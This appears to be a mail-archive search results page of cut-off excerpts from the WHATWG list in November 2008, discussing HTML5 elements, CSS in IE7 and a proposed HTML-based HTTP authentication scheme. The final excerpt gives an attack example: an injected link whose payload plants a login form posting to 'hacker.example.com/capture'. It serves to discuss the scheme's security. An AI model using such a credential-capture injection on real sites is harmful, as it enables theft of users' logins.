Calogero Alex Baldacchino wrote:
That worked fine on Opera 9 and FF2, but, when tried on IE7, the show
became a little weird... the element was there, the style attribute was
regarded as for any other element (display:block worked), but didn't
applied to any of its descendents, as if they weren
Pentasis ha scritto:
From: Ian Hickson <[EMAIL PROTECTED]>
Subject: Re: [whatwg] Feeedback on , , and other elements
related to cross-references
To: Calogero Alex Baldacchino <[EMAIL PROTECTED]>
Cc: WHAT Working Group
Message-ID: <[EMAIL PROTECTED]>
Content-Type: TEXT/PLAIN; charset=US-ASCII
On
On Thu, 27 Nov 2008 22:38:32 +0100, Garrett Smith <[EMAIL PROTECTED]>
wrote:
It is often desirable to capture events on bubble and interrogate the
EventTarget using a hasClassName function to see if it has a className
that the program is concerned with.
[...]
HTML5 already has the functionali
It is often desirable to capture events on bubble and interrogate the
EventTarget using a hasClassName function to see if it has a className
that the program is concerned with.
Assuming an - addCallback - function that acts as an adapter for
addEventListener/attachEvent,
addCallback(document, "mo
On Thu, 27 Nov 2008, Anne van Kesteren wrote:
> On Mon, 24 Nov 2008 18:46:51 +0100, Philipp Serafin <[EMAIL PROTECTED]> wrote:
> > I guess this is more a cosmetic remark, but I thought I'd bring this up
> > anyway.
> > I've noticed that the paragraph on the MetaExtensions wiki page[1] still
> > lis
On Thu, 27 Nov 2008, Pentasis wrote:
>
> Actually, it would solve a problem like this:
>
> What if I style abbr so that the title attribute is shown after the
> abbreviation:
>
> abbr[title]:after {
> content: " ("attr(title)")";
> }
>
> Now obviously I don't need and don't want to do this f
On Thu, 27 Nov 2008, Julian Reschke wrote:
>
> The specification of this scheme (which essentially is a no-op to
> implement for browser vendors and which already works "almost
> everywhere") could either happen in the W3C or in the IETF. I'm happy to
> assist in case the latter alternative is
On Wed, 26 Nov 2008 23:42:33 +0100, Calogero Alex Baldacchino <[EMAIL
PROTECTED]> wrote:
Martin Atkins wrote:
Your auth token here seems to me to be equivalent to a session cookie.
Yes, it does. But since session cookies are just that: cookies -- it isn't. An
authentication token is differ
Benjamin Hawkes-Lewis ha scritto:
Calogero Alex Baldacchino wrote:
The "foundation" style sheet may be at least a partial solution, but
if the browser is not aware of an element, I guess its style could not
apply at all.
For popular browsers, at least, this guess is wrong. Unknown elements
On Wed, 26 Nov 2008 23:42:33 +0100, Calogero Alex Baldacchino <[EMAIL
PROTECTED]> wrote:
Martin Atkins wrote:
Your auth token here seems to me to be equivalent to a session cookie.
Yes, it does. But since session cookies are just that: cookies -- it isn't. An
authentication token is differ
On 11/27/2008 06:52 PM, Calogero Alex Baldacchino wrote:
Perhaps a *good* rationale could be, "if you can't see the control,
There are other modalities than just visual.
> Another rational might be, "the
same desired behaviour, both visual and 'operational', can be achieved
without resorting t
Julian Reschke wrote:
...
Actually, what's missing from HTTP is a way to ask you to authenticate
but allow anonymous authentication (others have proposed sending a
> ...
Could you define what "anonymous authentication" would mean precisely?
I'm not sure this is what the OP meant, but I'd l
Asbjørn Ulsberg wrote:
[Response 1]
HTTP/1.1 401 Unauthorized
WWW-Authenticate: HTML realm="Administration"
Interesting. If we go down this line I think it's important to MANDATE
the names and meanings of the various fields, or provide some other
On Thu, Nov 27, 2008 at 5:56 PM, Julian Reschke wrote:
> Thomas Broyer wrote:
>>
>> I don't really mind, as long as the server is able to say "I give you
>> this thing to you anonymous user, but you can also authenticate (e.g.
>> to be proposed more features)". This is the exact use-case many web
>
Henri Sivonen wrote:
That seems like a bad optimization. Adding an off-the-shelf HTML parser
to a bot is much easier than tuning the general crawling functionality
and task-specific functionality of a bot.
I suspect this will require far more of the bot than merely parsing
HTML. Many login f
Thomas Broyer wrote:
I don't really mind, as long as the server is able to say "I give you
this thing to you anonymous user, but you can also authenticate (e.g.
to be proposed more features)". This is the exact use-case many web
site (including most if not all e-commerce web sites) are facing, an
Olli Pettay ha scritto:
On 11/26/2008 05:35 PM, Calogero Alex Baldacchino wrote:
anyway I think key events handling may
be improved and become easier to adopt by adding to a somewhat interface
a few constants representing the modifiers combination used by the
browser to activate access keys, so
On Mon, 24 Nov 2008 18:46:51 +0100, Philipp Serafin <[EMAIL PROTECTED]>
wrote:
I guess this is more a cosmetic remark, but I thought I'd bring this up
anyway.
I've noticed that the paragraph on the MetaExtensions wiki page[1] still
lists the Microformats process as the only way to get a keywo
On Thu, Nov 27, 2008 at 1:41 PM, Julian Reschke wrote:
> Thomas Broyer wrote:
>> ...
>> Actually, what's missing from HTTP is a way to ask you to authenticate
>> but allow anonymous authentication (others have proposed sending a
>> ...
>
> Could you define what "anonymous authentication" would mean
Thomas Broyer wrote:
...
Julian is saying that if your page varies depending on the user being
authenticated and/or the client not being authenticated at all, you
(the origin server) should include a "Vary: Authorization".
This means that if a shared cache has cached the response to an
"unauthent
On Wed, Nov 26, 2008 at 11:40 PM, Martin Atkins wrote:
> Julian Reschke wrote:
>>
>> You can already handle the case of content that's available
>> unauthenticated, but would potentially differ in case of being authenticated
>> by adding
>>
>> Vary: Authorization
>>
>> to a response.
>
> According
From: Ian Hickson <[EMAIL PROTECTED]>
Subject: Re: [whatwg] Feeedback on , , and other elements
related to cross-references
To: Calogero Alex Baldacchino <[EMAIL PROTECTED]>
Cc: WHAT Working Group
Message-ID: <[EMAIL PROTECTED]>
Content-Type: TEXT/PLAIN; charset=US-ASCII
On Thu, 27 Nov 2008, Cal
On Wed, Nov 26, 2008 at 10:38 PM, Ian Hickson wrote:
>
> Ok let me rephrase. What are the user agent requirements for processing
> the "realm" value? For other schemes, it's basically "show the realm to
> the user as a hint as to what password is wanted".
The realm is (should be) part of the key u
Martin Atkins wrote:
...
I may be forgetting missing some use-cases here (I don't recall what
exactly motivated this custom auth scheme) but there may still be value
in a cut-down version of this scheme:
> ...
I concede that once you generalize it in this way it becomes even less
relevant t
Ian Hickson wrote:
On Wed, 26 Nov 2008, Philip Taylor wrote:
If I'm not misunderstanding things, there is a new attack scenario:
I post a comment on someone's blog, saying href="/restricted-access.php?xsshole=action=http://hacker.example.com/capture name=login>name=username>">crawl me!
Hm,
25 matches
Mail list logo
